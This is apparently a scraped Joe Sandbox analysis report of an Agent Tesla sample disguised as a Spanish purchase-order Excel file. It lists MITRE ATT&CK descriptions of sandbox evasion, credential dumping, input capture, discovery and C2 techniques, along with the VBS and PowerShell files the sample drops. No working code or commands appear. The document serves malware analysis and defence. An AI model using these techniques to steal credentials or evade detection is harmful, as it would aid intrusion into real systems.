Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Orden de Compra No. 78986756565344657.xlam.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wednesdaysMPDW-constraints[1].vbs

C:\Users\user\AppData\Local\Temp\bgfgo5mr.ab3.psm1

C:\Users\user\AppData\Local\Temp\fng3ykdr.q3d.psm1

C:\Users\user\AppData\Local\Temp\j4ib2yoe.4gc.ps1

C:\Users\user\AppData\Local\Temp\w4r4vben.wht.ps1

C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs

C:\Users\user\Desktop\~$Orden de Compra No. 78986756565344657.xlam.xls

C:\Users\user\Desktop\~$Orden de Compra No. 78986756565344657.xlam.xlsx

Static File Info

Windows Analysis Report
Orden de Compra No. 78986756565344657.xlam.xlsx

Function 035006DC Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Function 0350070A Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Function 035006F5 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Function 03500627 Relevance: 1.6, APIs: 1, Instructions: 74
libraryCOMMON

Function 0350072F Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 03500736 Relevance: .0, Instructions: 14
COMMON

Function 0350055E Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre